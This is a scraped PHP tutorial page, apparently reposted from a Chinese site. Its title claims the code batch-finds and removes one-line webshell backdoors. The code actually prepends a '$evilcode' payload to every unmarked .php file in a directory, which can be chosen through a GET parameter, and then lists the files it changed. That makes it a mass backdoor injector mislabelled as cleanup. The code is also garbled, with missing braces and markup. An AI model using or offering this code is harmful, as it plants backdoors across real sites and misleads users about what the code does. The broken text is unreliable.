Heim  >  Artikel  >  Backend-Entwicklung  >  用php实现批量查询清除一句话后门的代码_PHP教程

用php实现批量查询清除一句话后门的代码_PHP教程

WBOY
WBOYOriginal
2016-07-21 15:53:25846Durchsuche

总是忘记一句话放到哪个文件里去了,直接全部干掉...

复制代码 代码如下:

//xy7 
if (!isset($dir) or empty($dir)) { 
$dir=str_replace('\\','/',dirname(__FILE__)); 
echo "".$dir.""; 
} else { 
$dir=$_GET['dir']; 
echo "".$dir.""; 

$evilcode=""; 
$testdir = opendir($dir); 
while($filea = @readdir($testdir)){ 
if(strstr($filea, '.php')){ 
$fp = @fopen($filea, 'r+'); 
if (!strstr(@fread($fp, 20), 'xy7')){ 
rewind($fp); 
$old = @fread($fp, filesize($filea)); 
rewind($fp); 
fwrite($fp, $evilcode . $old); 

fclose($fp); 


closedir($testdir); 
?> 

 
 
 
 
 
 
 
$dirs=@opendir($dir); 
while ($file=@readdir($dirs)) { 
if ((is_file($file)) and (ereg("\.php{0,1}$",$file))) 
{$b="$dir/$file"; 
$a=@is_dir($b); 
if($a=="0"){ 
$size=@filesize("$dir/$file"); 
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file")); 
echo "\n"; 
echo "\n"; 
echo " \n"; 
echo " \n"; 



@closedir($dirs); 
?> 
被X的文件时间大小
$file$lastsave$size Bytes
 
codz by xuanmumu 

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/318709.htmlTechArticle总是忘记一句话放到哪个文件里去了,直接全部干掉... 复制代码 代码如下: ?//xy7 if(!isset($dir)orempty($dir)){ $dir=str_replace('\\','/',dirname(__FILE__)...
Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn